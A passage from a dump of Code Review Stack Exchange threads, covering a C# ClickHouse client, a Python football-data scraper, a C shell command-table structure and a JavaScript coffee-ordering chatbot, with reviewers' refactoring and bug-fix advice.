Array.Reverse(ipv4bytes);
return new IPAddress(ipv4bytes);
case ClickHouseTypeCode.IPv6:
var ipv6bytes = reader.ReadBytes(16);
return new IPAddress(ipv6bytes);
case ClickHouseTypeCode.Tuple:
var tupleTypeInfo = (TupleType)databaseType;
var count = tupleTypeInfo.UnderlyingTypes.Length;
var contents = new object[count];
for (var i = 0; i < count; i++)
{
// Underlying data in Tuple should always be null, not DBNull
contents[i] = ReadValue(tupleTypeInfo.UnderlyingTypes[i], false);
if (contents[i] is DBNull)
contents[i] = null;
}
return tupleTypeInfo.MakeTuple(contents);
case ClickHouseTypeCode.Decimal:
var decimalTypeInfo = (DecimalType)databaseType;
var factor = (int)Math.Pow(10, decimalTypeInfo.Scale);
var value = new BigInteger(reader.ReadBytes(decimalTypeInfo.Size));
return (decimal)value / factor;
case ClickHouseTypeCode.Nothing:
break;
case ClickHouseTypeCode.Nested:
throw new NotSupportedException("Nested types cannot be read directly");
case ClickHouseTypeCode.Enum8:
var enum8TypeInfo = (EnumType)databaseType;
return enum8TypeInfo.Lookup(reader.ReadSByte());
case ClickHouseTypeCode.Enum16:
var enum16TypeInfo = (EnumType)databaseType;
return enum16TypeInfo.Lookup(reader.ReadInt16());
case ClickHouseTypeCode.LowCardinality:
var lcCardinality = (LowCardinalityType)databaseType;
return ReadValue(lcCardinality.UnderlyingType, nullAsDbNull);
}
throw new NotImplementedException($"Reading of {databaseType.TypeCode} is not implemented");
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>it's fine with me, but since it's open-source, you should consider the various skill levels that would work with this library. So, to make it more readable, I would prefer to divide it into smaller blocks that would handle each type separately.</p>\n\n<p>For instance, for integer types (uint8, uint16 ..etc), you can move it to a private method like this : </p>\n\n<pre><code>private object IsInteger(ClickHouseType databaseType)\n{\n switch(databaseType.TypeCode)\n {\n case ClickHouseTypeCode.UInt8:\n return reader.ReadByte();\n case ClickHouseTypeCode.UInt16:\n return reader.ReadUInt16();\n case ClickHouseTypeCode.UInt32:\n return reader.ReadUInt32();\n case ClickHouseTypeCode.UInt64:\n return reader.ReadUInt64();\n case ClickHouseTypeCode.Int8:\n return reader.ReadSByte();\n case ClickHouseTypeCode.Int16:\n return reader.ReadInt16();\n case ClickHouseTypeCode.Int32:\n return reader.ReadInt32();\n case ClickHouseTypeCode.Int64:\n return reader.ReadInt64();\n case ClickHouseTypeCode.Float32:\n return reader.ReadSingle();\n case ClickHouseTypeCode.Float64:\n return reader.ReadDouble();\n default:\n return null;\n }\n}\n</code></pre>\n\n<p>and call it back from <code>ReadValue</code> method. You can apply the same thing on all types, and use <code>if</code> statement if you see that the code has multiple lines (like Array, UUID..etc) types. This would improve readability, and also would give you more flexibility to maintain each type and expand it as needed.</p>\n\n<p>Also, if you use this approach, I would highly recommend to return the specific type of each type instead of <code>object</code> on your private methods. </p>\n\n<p>Example : </p>\n\n<pre><code>private Guid IsGuid(ClickHouseType databaseType)\n{\n if (databaseType.TypeCode == ClickHouseTypeCode.UUID)\n {\n var bytes = new byte[16];\n reader.Read(bytes, 6, 2);\n reader.Read(bytes, 4, 2);\n reader.Read(bytes, 0, 4);\n reader.Read(bytes, 8, 8);\n Array.Reverse(bytes, 8, 8);\n return new Guid(bytes);\n }\n\n return Guid.Empty;\n}\n</code></pre>\n\n<p>You can either try to take <code>object</code> and then convert and return the corresponded type, or define each type explicit in your class as you don't need to base your whole project into castings from object to another type, you need to do it once, and do the rest of the process on that type. </p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>I've just need to add this approach as well : </p>\n\n<pre><code>private readonly ClickHouseType _databaseType;\n\npublic T ReadValue<T>()\n{\n var type = typeof(T);\n\n if (type == typeof(ushort))\n {\n return (T)Convert.ChangeType(reader.ReadUInt16(), type);\n }\n\n if (type == typeof(uint))\n {\n return (T)Convert.ChangeType(reader.ReadUInt32(), type);\n }\n\n if (type == typeof(ulong))\n {\n return (T)Convert.ChangeType(reader.ReadUInt64(), type);\n }\n\n if (type == typeof(short))\n {\n return (T)Convert.ChangeType(reader.ReadInt16(), type);\n }\n\n if (type == typeof(int))\n {\n return (T)Convert.ChangeType(reader.ReadInt32(), type);\n }\n\n if (type == typeof(long))\n {\n return (T)Convert.ChangeType(reader.ReadInt64(), type);\n }\n\n if (type == typeof(float))\n {\n return (T)Convert.ChangeType(reader.ReadSingle(), type);\n }\n\n if (type == typeof(double))\n {\n return (T)Convert.ChangeType(reader.ReadDouble(), type);\n }\n\n if (type == typeof(decimal))\n {\n var decimalTypeInfo = (DecimalType) _databaseType;\n var factor = (int)Math.Pow(10, decimalTypeInfo.Scale);\n var value = new BigInteger(reader.ReadBytes(decimalTypeInfo.Size));\n var result = (decimal)value / factor;\n return (T)Convert.ChangeType(result, type);\n }\n\n if (type == typeof(sbyte))\n {\n return (T)Convert.ChangeType(reader.ReadSByte(), type);\n }\n\n if (type == typeof(byte))\n {\n return (T)Convert.ChangeType(reader.ReadByte(), type);\n }\n\n if (type == typeof(string))\n {\n return (T)Convert.ChangeType(reader.ReadString(), type);\n }\n\n if (type == typeof(FixedStringType))\n {\n var stringInfo = (FixedStringType) _databaseType;\n return (T)Convert.ChangeType(Encoding.UTF8.GetString(reader.ReadBytes(stringInfo.Length)), type);\n }\n\n if (type == typeof(Guid))\n {\n var bytes = new byte[16];\n reader.Read(bytes, 6, 2);\n reader.Read(bytes, 4, 2);\n reader.Read(bytes, 0, 4);\n reader.Read(bytes, 8, 8);\n Array.Reverse(bytes, 8, 8);\n\n return (T)Convert.ChangeType(new Guid(bytes), type);\n }\n\n return default;\n}\n</code></pre>\n\n<p>example usage : </p>\n\n<pre><code>var result = ReadValue<decimal>();\n</code></pre>\n\n<p>what I think you need is a class to handle the conversion for each type, as this would really be useful in your project. Then, you can just use this class across your project to just convert the types as needed. Some custom types that I've seen needs to be implemented and used as a strong-typed object instead of using <code>Enum</code>. Like <code>UInt8</code> for example. If I'm in your place, I would create a class for each type, and define the defaults values, conditions (if any), and also converters for each. Then, I Create a static converter class which would call back the <code>ConvertTo</code> method in each type (which it's been already implemented in each class).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-16T10:15:41.367",
"Id": "465433",
"Score": "0",
"body": "While I appreciate the effort, these advices would kill performance. `switch` is compiled to lookup table in release mode, whereas `if-else` would cause a lot of extra checks. `TypeCode` comparison was used to avoid casting `is` checks which happen implicitly in `Equals` checks. `(T)Convert.ChangeType(reader.ReadUInt16(), type)` means that the value would be boxed in an `object`, then unboxed to a `T`, then boxed into `object` again because ultimately the value is stored in `object[]` (and type is not known in advance). Also method called `IsGuid` returning `Guid` sounds like a bit of oxymoron"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-16T20:29:57.847",
"Id": "465469",
"Score": "0",
"body": "@DarkWanderer `these advices would kill performance` well, instead of guessing, test then ask. that's for performance.For the generic `T`, you should know that `T` is a placeholder, and there is no actual casting (or boxing) in generics, as they will be compiled for a specified type at compile-time. For the `IsGuid`(you might be aware) that naming convention may or may not be perfect in examples as they're for demonstration purpose only and not intended to be used in production environments. and yes `IsGuid` is not a good naming convention for returning `Guid` which I did not notice it."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T01:36:11.667",
"Id": "236820",
"ParentId": "236779",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:07:57.330",
"Id": "236779",
"Score": "2",
"Tags": [
"c#",
"ado.net"
],
"Title": "Open-source C# client for ClickHouse database"
}
|
236779
|
<p>I have started a project where I am scraping JSON-data from an API. How the scraping is done right now is done in a very repetitive way where the keys of interest are specified and scraped. The data-structure I use is a nested dict to store all the data for each function. </p>
<p>So the steps of each function is straightforward, make a request, iterate through all the data points of interest, store in a dictionary and then write the JSON-file. </p>
<p>I'm looking to see if there is a more efficient way of parsing JSON-data, if I should consider creating functions that handle smaller tasks and if the data-structure of choice is appropriate. The end-game of it all is to create dashboards and analytics so an important function is to be able to link between the datasets, which is supposed to be handled by the different id's for teams, games, fixtures, arenas and so forth. Thank you for taking your time to read, below you will find the full-code.</p>
<p>Many thanks,</p>
<pre><code>import requests
import json
from pprint import pprint
from tqdm import tqdm
class Premier_league:
def __init__(self):
self.base_url = 'https://footballapi.pulselive.com/football'
def get_competion_id(self):
competitions = {} #Store all competitions
league = {} #Store info for each competion
url = self.base_url + '/competitions'
params = (
('pageSize', '100'),#adds ?pageSize=100 to url
)
response = requests.get(url, params = params).json() # request to obtain the id values and corresponding competition
all_comps = response["content"]
#loop to get all info for all competitions
for comp in all_comps:
league[comp["id"]] = comp["description"]
# creating a stat dict for the player
competitions[league[comp["id"]]] = {"info":{}}
competitions[league[comp["id"]]]["info"]["abbreviation"] = comp["abbreviation"]
competitions[league[comp["id"]]]['info']['id'] = comp['id']
f = open("competitions.json","w")
# pretty prints and writes the same to the json file
f.write(json.dumps(competitions,indent=4, sort_keys=False))
f.close()
def get_clubs(self):
clubs = {} #Store all clubs
team = {} #Store info for each team
url = self.base_url + '/clubs'
page = 0 #starting value of page
while True:
params = (
('pageSize', '100'),
('page', str(page))#adds ?pageSize=100 to url
)
response = requests.get(url, params = params).json() # request to obtain the team info
all_clubs = response["content"]
#loop to get all info for all competitions
for club in all_clubs:
clubs[club['name']]= club['teams'][0]['id']
#Unessesary code below, might be of use, produces complex dict-structure
#team[club["id"]] = club["name"]
#clubs[team[club["id"]]] = {"info":{}}
#clubs[team[club["id"]]]['info']['name'] = club["name"]
#clubs[team[club["id"]]]['info']["id"]= club['teams'][0]['id']
page += 1
if page == response["pageInfo"]["numPages"]:
break
f = open("clubs.json","w")
# pretty prints and writes the same to the json file
f.write(json.dumps(clubs,indent=4, sort_keys=False))
f.close()
def get_fixtures(self,compSeasons):
fixtures_unplayed = {} #Store info for not played fixtures
games_unplayed = {} #Store info for not played games
fixtures_played = {} #Store all clubs
games_played = {} #Store info for each team
url = self.base_url + '/fixtures'
page = 0 #starting value of page
while True:
params = (
('pageSize', '100'), #adds ?pageSize=100 to url
('page', str(page)),
('compSeasons', str(compSeasons)),
)
response = requests.get(url, params = params).json() # request to obtain the team info
all_games = response["content"]
#loop to get info for each game
for game in tqdm(all_games):
if game['status'] == 'U':
games_unplayed[game["id"]] = game['id']
fixtures_unplayed[games_unplayed[game["id"]]] = {"match":{}}
fixtures_unplayed[games_unplayed[game["id"]]]['match'] = game['id']
fixtures_unplayed[games_unplayed[game["id"]]]['kickoff'] = game['fixtureType']
fixtures_unplayed[games_unplayed[game["id"]]]['preli_date'] = game['provisionalKickoff']['label']
fixtures_unplayed[games_unplayed[game["id"]]]['scientific_date'] = game['provisionalKickoff']['millis']
fixtures_unplayed[games_unplayed[game["id"]]]['home_team'] = game['teams'][0]['team']['name']
fixtures_unplayed[games_unplayed[game["id"]]]['home_team_id'] = game['teams'][0]['team']['club']['id']
fixtures_unplayed[games_unplayed[game["id"]]]['home_team_abbr'] = game['teams'][0]['team']['club']['abbr']
fixtures_unplayed[games_unplayed[game["id"]]]['away_team'] = game['teams'][1]['team']['name']
fixtures_unplayed[games_unplayed[game["id"]]]['away_team_id'] = game['teams'][1]['team']['club']['id']
fixtures_unplayed[games_unplayed[game["id"]]]['away_team_abbr'] = game['teams'][1]['team']['club']['abbr']
fixtures_unplayed[games_unplayed[game["id"]]]['grounds'] = game['ground']['name']
fixtures_unplayed[games_unplayed[game["id"]]]['grounds_id'] = game['ground']['id']
fixtures_unplayed[games_unplayed[game["id"]]]['gameweek'] = game['gameweek']['gameweek']
fixtures_unplayed[games_unplayed[game["id"]]]['status'] = game['status']
for game in tqdm(all_games):
if game['status'] == 'C':
games_played[game["id"]] = game['id']
fixtures_played[games_played[game["id"]]] = {"match":{}}
fixtures_played[games_played[game["id"]]]['match'] = game['id']
fixtures_played[games_played[game["id"]]]['kickoff'] = game['fixtureType']
fixtures_played[games_played[game["id"]]]['preli_date'] = game['provisionalKickoff']['label']
fixtures_played[games_played[game["id"]]]['scientific_date'] = game['provisionalKickoff']['millis']
fixtures_played[games_played[game["id"]]]['home_team'] = game['teams'][0]['team']['name']
fixtures_played[games_played[game["id"]]]['home_team_id'] = game['teams'][0]['team']['club']['id']
fixtures_played[games_played[game["id"]]]['home_team_abbr'] = game['teams'][0]['team']['club']['abbr']
fixtures_played[games_played[game["id"]]]['home_team_score'] = game['teams'][0]['score']
fixtures_played[games_played[game["id"]]]['away_team'] = game['teams'][1]['team']['name']
fixtures_played[games_played[game["id"]]]['away_team_id'] = game['teams'][1]['team']['club']['id']
fixtures_played[games_played[game["id"]]]['away_team_abbr'] = game['teams'][1]['team']['club']['abbr']
fixtures_played[games_played[game["id"]]]['away_team_score'] = game['teams'][1]['score']
fixtures_played[games_played[game["id"]]]['grounds'] = game['ground']['name']
fixtures_played[games_played[game["id"]]]['grounds_id'] = game['ground']['id']
fixtures_played[games_played[game["id"]]]['gameweek'] = game['gameweek']['gameweek']
fixtures_played[games_played[game["id"]]]['outcome'] = game['outcome']
fixtures_played[games_played[game["id"]]]['extraTime'] = game['extraTime']
fixtures_played[games_played[game["id"]]]['shootout'] = game['shootout']
fixtures_played[games_played[game["id"]]]['played_time'] = game['clock']['secs']
fixtures_played[games_played[game["id"]]]['played_time_label'] = game['clock']['label']
fixtures_played[games_played[game["id"]]]['status'] = game['status']
page +=1
if page == response["pageInfo"]["numPages"]:
break
fixtures = dict(fixtures_unplayed)
fixtures.update(fixtures_played)
with open("unplayed_fixtures.json","w") as f:
f.write(json.dumps(fixtures_unplayed,indent=4, sort_keys=True))
with open("played_fixtures.json","w") as f:
f.write(json.dumps(fixtures_played,indent=4, sort_keys=True))
with open("fixtures.json","w") as f:
f.write(json.dumps(fixtures,indent=4, sort_keys=True))
if __name__ == "__main__":
prem = Premier_league()
prem.get_fixtures(274)
</code></pre>
|
[] |
[
{
"body": "<p>There's a couple small things I usually do differently that I'd like to point out:</p>\n\n<pre><code>f = open(\"competitions.json\",\"w\")\n\n# pretty prints and writes the same to the json file \nf.write(json.dumps(competitions,indent=4, sort_keys=False))\nf.close()\n</code></pre>\n\n<p>Can be replaced with:</p>\n\n<pre><code>with open(\"competitions.json\",\"w\") as f:\n # pretty prints and writes the same to the json file \n f.write(json.dumps(competitions,indent=4, sort_keys=False))\n</code></pre>\n\n<p>Which prevents leaving files open by accident.</p>\n\n<p>You also do:</p>\n\n<pre><code>page = 0 #starting value of page\nwhile True:\n\n # stuff\n\n page += 1\n if page == response[\"pageInfo\"][\"numPages\"]:\n break\n</code></pre>\n\n<p>Which can be replaced by:</p>\n\n<pre><code>for page in range(response[\"pageInfo\"][\"numPages\"]):\n</code></pre>\n\n<p>The assignment of dictionaries can also be done nicer imo. Instead of:</p>\n\n<pre><code>games_unplayed[game[\"id\"]] = game['id']\nfixtures_unplayed[games_unplayed[game[\"id\"]]] = {\"match\": {}}\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['match'] = game['id']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['kickoff'] = game['fixtureType']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['preli_date'] = game['provisionalKickoff']['label']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['scientific_date'] = game['provisionalKickoff']['millis']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['home_team'] = game['teams'][0]['team']['name']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['home_team_id'] = game['teams'][0]['team']['club']['id']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['home_team_abbr'] = game['teams'][0]['team']['club']['abbr']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['away_team'] = game['teams'][1]['team']['name']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['away_team_id'] = game['teams'][1]['team']['club']['id']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['away_team_abbr'] = game['teams'][1]['team']['club']['abbr']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['grounds'] = game['ground']['name']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['grounds_id'] = game['ground']['id']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['gameweek'] = game['gameweek']['gameweek']\nfixtures_unplayed[games_unplayed[game[\"id\"]]]['status'] = game['status']\n</code></pre>\n\n<p>Use:</p>\n\n<pre><code>game_id = game['id']\nindex = games_unplayed[game_id]\n\nfixtures_unplace[index] = \\\n {'match': game_id,\n 'kickoff': game['fixtureType'],\n 'preli_date': game['provisionalKickoff']['label'],\n 'scientific_date': game['provisionalKickoff']['millis'],\n 'home_team': game['teams'][0]['team']['name'],\n 'home_team_id': game['teams'][0]['team']['club']['id'],\n 'home_team_abbr': game['teams'][0]['team']['club']['abbr'],\n 'away_team': game['teams'][1]['team']['name'],\n 'away_team_id': game['teams'][1]['team']['club']['id'],\n 'away_team_abbr': game['teams'][1]['team']['club']['abbr'],\n 'grounds': game['ground']['name'],\n 'grounds_id': game['ground']['id'],\n 'gameweek': game['gameweek']['gameweek'],\n 'status': game['status']}\n</code></pre>\n\n<p>Lastly, not that important, but I don't like to hardcode values:</p>\n\n<pre><code>def __init__(self):\n self.base_url = 'https://footballapi.pulselive.com/football'\n</code></pre>\n\n<p>Could also be:</p>\n\n<pre><code>def __init__(self, base_url = 'https://footballapi.pulselive.com/football'):\n self.base_url = base_url\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:56:39.710",
"Id": "464143",
"Score": "0",
"body": "This is some solid feedback, thank you! The assignment of dictionaries is a real time saver here and it looks really neat. My experience with dicts is really limited and I understand very little about them, so I really appreciate the feedback. Thank you for taking your time to read through everything!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T14:13:06.923",
"Id": "464144",
"Score": "0",
"body": "@MisterButter My pleasure :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:47:56.360",
"Id": "236783",
"ParentId": "236780",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236783",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:33:20.317",
"Id": "236780",
"Score": "1",
"Tags": [
"python",
"web-scraping",
"hash-map"
],
"Title": "Premier League data scraper"
}
|
236780
|
<p>I need a data structure to store a list of single commands that a user can enter. You may consider a simple shell. I already finished the parsing but need a nice data structure to store the individual commands. </p>
<p>Consider the following example:</p>
<p>A user inputs something like this:</p>
<pre class="lang-sh prettyprint-override"><code>>>> ls -l | wc -c && echo "Hello World";
</code></pre>
<p>This is a single line with multiple commands that are executed sequentially. Because there are pipes, redirects, reads and so on I would like to encapsulate the command with all of its properties into a separate structure.</p>
<p>The above would become something like:</p>
<ol>
<li>Command: <code>ls -l</code> which creates a pipe</li>
<li>Command: <code>wc -c</code> which reads from a pipe</li>
<li>Command: <code>echo "Hello World"</code> with no I/O at all</li>
</ol>
<p>I came up with the following solution. While this works it feels somewhat complex and I feel like I am missing some obvious, much more simplistic approach.</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZ 4
struct SingleCommand
{
// Currently preallocated space
int allocated;
// Current number of stored args
int nargs;
// Arguments
char **args;
};
typedef struct SingleCommand SingleCommand;
SingleCommand create_single_command()
{
SingleCommand command;
command.nargs = 0;
command.allocated = BUF_SIZ;
command.args = malloc(command.allocated * sizeof(char *));
if (command.args == NULL)
{
/* Fatal memory error */
exit(-1);
}
return command;
}
void free_single(SingleCommand *command)
{
for (int i = 0; i < command->nargs; i++)
{
free(command->args[i]);
}
free(command->args);
}
void insert_arg(SingleCommand *command, char *arg)
{
if (command->nargs + 1 >= command->allocated)
{
/* Grow allocated space */
command->allocated += BUF_SIZ;
command->args = realloc(command->args, command->allocated * sizeof(char *));
if (command->args == NULL)
{
/* Fatal memory error */
exit(-1);
}
}
command->args[command->nargs++] = strdup(arg);
}
struct ComplexCommand
{
// Currently preallocated space for single commands
int allocated;
// Current number of stored single args
int n_single_args;
SingleCommand **commands;
char *out_file;
// Current index in execution chain
int current_command;
};
typedef struct ComplexCommand ComplexCommand;
ComplexCommand create_complex_command()
{
ComplexCommand command;
command.n_single_args = 0;
command.allocated = BUF_SIZ;
command.current_command = 0;
command.commands = malloc(command.allocated * sizeof(SingleCommand *));
if (command.commands == NULL)
{
/* Fatal memory error */
exit(-1);
}
return command;
}
void free_complex(ComplexCommand *command)
{
for (int i = 0; i < command->n_single_args; i++)
{
free_single(command->commands[i]);
}
free(command->commands);
}
void insert_command(ComplexCommand *command, SingleCommand *single)
{
if (command->n_single_args + 1 >= command->allocated)
{
/* Grow allocated space */
command->allocated += BUF_SIZ;
command->commands = realloc(command->commands, command->allocated);
if (command->commands == NULL)
{
/* Fatal memory error */
exit(-1);
}
}
command->commands[command->n_single_args++] = single;
}
int main()
{
// This would normally be generated by my parser
SingleCommand single1 = create_single_command();
insert_arg(&single1, "ls");
insert_arg(&single1, "-l");
SingleCommand single2 = create_single_command();
insert_arg(&single2, "wc");
insert_arg(&single2, "-c");
SingleCommand single3 = create_single_command();
// Such a complex command would be created after parsing the input line
ComplexCommand complex = create_complex_command();
insert_command(&complex, &single1);
insert_command(&complex, &single2);
insert_command(&complex, &single3);
// I can then iterate over it and execute each command
SingleCommand cur;
while (complex.current_command < complex.n_single_args)
{
cur = *complex.commands[complex.current_command++];
printf("<SingleCommand:: Allocated: %d , Nargs: %d, Command: ", cur.allocated, cur.nargs);
// Concat args:
for (int i = 0; i < cur.nargs; i++)
{
printf("%s", cur.args[i]);
}
printf(">\n");
}
// Cleanup;
free_complex(&complex);
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:42:25.777",
"Id": "464147",
"Score": "1",
"body": "A common allocation scheme is to allocate some even multiple of `_Alignof(type)`, in this case a char pointer. Then when you run out of memory as the container grows, you reallocate twice the previous amount. That's how various C++ STL classes were implemented back in the days, though if there's any computer science (other than \"aligned is good\") backing up that algorithm, I don't know."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:04:49.580",
"Id": "464232",
"Score": "0",
"body": "You write that `ls -l` creates a pipe and that `echo` doesn't output anything (\"no I/O\"). That contradicts the operation of these programs and commands when you invoke them in a typical shell. There, they all generate output and some consume input. Creating the pipe connecting the frist two is done by the shell there. Care to clarify?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T10:39:48.507",
"Id": "464327",
"Score": "0",
"body": "@uli With no I/O I mean that my shell does not has to handle anything besides opening a new process and executing the program. If there are pipes or redirects I need to take care of that in my shell implementation."
}
] |
[
{
"body": "<ul>\n<li><p><strong><code>int current_command;</code></strong></p>\n\n<p>I strongly advise against it. It is not the property of <code>ComplexCommand</code>. It is a property of whoever deals with it. Consider instead</p>\n\n<pre><code>for (int i = 0; i < complex.n_single_args; i++) {\n ....\n}\n</code></pre></li>\n<li><p><strong><code>realloc</code></strong></p>\n\n<ul>\n<li><p>A missing <code>* sizeof(SimpleCommand *)</code> in</p>\n\n<pre><code>command->commands = realloc(command->commands, command->allocated);\n</code></pre>\n\n<p>is certainly a bug. You add that many <em>bytes</em>, rather than <code>SimpleCommand *</code>s.</p></li>\n<li><p>As long as you immediately <code>exit</code> on failure, it is OK to do a simple assignment. In the real life a naive realloc may lead to memory leaks. You need to be more prudent, e.g.:</p>\n\n<pre><code>temp = realloc(command->commands, command->allocated);\nif (temp == NULL) {\n // Now you have a chance to do a cleanup\n ....\n} else {\n command->commands = temp;\n}\n</code></pre></li>\n</ul></li>\n<li><p>An argument to <code>sizeof</code> is better expressed in terms of variables, rather than their types. It avoids the double maintenance problem it the type of variable ever changes. For example, prefer <code>sizeof(*command.commands)</code> to <code>sizeof(SimpleCommand*)</code>.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T09:53:14.707",
"Id": "464431",
"Score": "0",
"body": "Thank you for your tipps and the explanation!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T21:17:18.017",
"Id": "236905",
"ParentId": "236781",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:45:11.387",
"Id": "236781",
"Score": "2",
"Tags": [
"c"
],
"Title": "Dynamically growing Command Table Implementation"
}
|
236781
|
<p><strong>Note:</strong> In order to keep this post somewhat short, I have moved some data from the database to the client-side. An example hereof is the prices object.</p>
<p>This is a simple program/chatbot which users can use to order coffee. The code is working just fine, but it's very messy. I am looking for ways to clean up the code, to make it more understandable for other developers. I am, also sure there are code duplications that could be moved to functions, but having worked on this for a while I became blind to my own mistakes. Any help is welcome.</p>
<pre><code>const chat = document.getElementById("chat");
const form = document.getElementById("form");
const input = document.getElementById("input");
const state = document.getElementById("state");
const response = document.getElementById("response");
const langSelector = document.getElementById("lang-selector");
const appState = {
language: "en",
requestedSize: false,
currentDrink: {},
order: { drinks: [], price: 0 }
};
const prices = {
caffeAmericano: { short: 2.25, tall: 2.45, grande: 2.95 },
caffèLatte: { short: 2.95, tall: 3.65, grande: 4.15 },
caffèMocha: { short: 3.45, tall: 4.15, grande: 4.65 },
cappuccino: { short: 3.15, tall: 3.25, grande: 3.95 },
caramelMacchiato: { short: 3.75, tall: 4.45, grande: 4.75 },
espresso: { short: 1.95, tall: 2.25, grande: 2.65 },
espressoConPanna: { short: 1.95, tall: 2.25, grande: 2.65 },
espressoMacchiato: { short: 1.95, tall: 2.25, grande: 2.65 },
whiteChocolateMocha: { short: 3.75, tall: 4.45, grande: 4.75 }
};
function calculateTotalOrderPrice() {
return parseFloat(
appState.order.drinks.reduce((price, drink) => price + drink.price, 0).toFixed(2)
);
}
function resetState() {
appState.requestedSize = false;
appState.currentDrink = {};
appState.order = { drinks: [], price: 0 };
}
function calculateDrinkPrice({ name, size, amount }) {
const price = prices[name][size] * amount;
return Math.round(price * 100) / 100;
}
function postMessage(message, isResponse = true) {
const li = document.createElement("li");
isResponse && li.classList.add("left");
li.innerHTML = message;
chat.appendChild(li);
}
function generateOrderStatusMessage() {
let message = "";
if (appState.language === "en") {
message = "Here is what I have for your order.<br>";
appState.order.drinks.forEach(d => (message += `<br>- ${d.amount}x ${d.size} ${d.name}`));
message += `<br><br>For a total of: $${appState.order.price}`;
message += `<button>Place order</button>`;
} else if (appState.language === "nl") {
message = "Hier is wat ik heb voor uw bestelling.<br>";
appState.order.drinks.forEach(d => (message += `<br>- ${d.amount}x ${d.size} ${d.name}`));
message += `<br><br>Voor een totaal van: $${appState.order.price}`;
message += `<button>Plaats bestelling</button>`;
}
return message;
}
function addDrinkToOrder(drink) {
appState.currentDrink = {};
appState.order.drinks.push(drink);
appState.order.price = calculateTotalOrderPrice();
postMessage(generateOrderStatusMessage());
}
form.addEventListener("submit", e => {
e.preventDefault();
if (input.value) {
postMessage(input.value, false);
fetch(`/api/${appState.language}/${input.value.replace(/ /g, "-").toLowerCase()}`)
.then(response => response.json())
.then(json => {
if (json.intent === "Order.Reset") {
resetState();
postMessage(json.answer);
} else if (json.intent === "Order.Size" && appState.requestedSize) {
const drink = appState.currentDrink;
const { resolution, option } = json.entities.find(entity => entity.entity === "size");
drink.size = resolution ? resolution.value : option;
if (drink.name && drink.size && drink.amount) {
drink.price = calculateDrinkPrice(drink);
}
appState.requestedSize = false;
addDrinkToOrder(drink);
} else if (json.intent === "Order") {
const drink = { name: "", size: "", amount: 1, price: 0 };
json.entities.forEach(({ entity, resolution, option }) => {
const value = resolution ? resolution.value : option;
switch (entity) {
case "drink":
drink.name = value;
break;
case "number":
drink.amount = value;
break;
case "size":
drink.size = value;
break;
}
if (drink.name && drink.size && drink.amount) {
drink.price = calculateDrinkPrice(drink);
}
});
if (drink.size !== "") {
appState.requestedSize = false;
addDrinkToOrder(drink);
} else {
appState.requestedSize = true;
appState.currentDrink = drink;
if (appState.language === "en") {
postMessage(`What size "${drink.name}" would you like?`);
} else if (appState.language === "nl") {
postMessage(`Welke maat "${drink.name}" wilt u?`);
}
}
} else {
postMessage(json.answer);
}
chat.scroll({ top: chat.scrollHeight - chat.clientHeight, behavior: "smooth" });
state.textContent = JSON.stringify(appState, null, 2);
response.textContent = JSON.stringify(json, null, 2);
});
input.value = "";
}
});
function changeLanguage() {
resetState();
chat.innerHTML = "";
appState.language = langSelector.value;
state.textContent = JSON.stringify(appState, null, 2);
appState.language === "en"
? postMessage(`Welcome to <strong>Coffee Bot</strong>, how can I help you?`)
: postMessage(`Welkom bij <strong>Coffee Bot</strong>, hoe kan ik u helpen?`);
}
langSelector.addEventListener("change", changeLanguage);
changeLanguage();
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T10:51:45.887",
"Id": "464239",
"Score": "0",
"body": "I suggest a few changes, the language logic very much feels like it should be in a separate object of some sort so you can easier to maintain the languages. At the minute you're doing an if/elseif all over the place and it's very quickly going to become unmaintainable. Also if you do expand to letting others submit/revise languages having one place to edit will save you a lot of time.\n`const dictionary = { welcome: { en: 'Welcome to <strong>Coffee Bot</strong>, how can I help you?', nl: 'Welkom bij <strong>Coffee Bot</strong>, hoe kan ik u helpen?'}, askSize: { en: ...., nl: ....}}`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T11:02:59.127",
"Id": "464241",
"Score": "0",
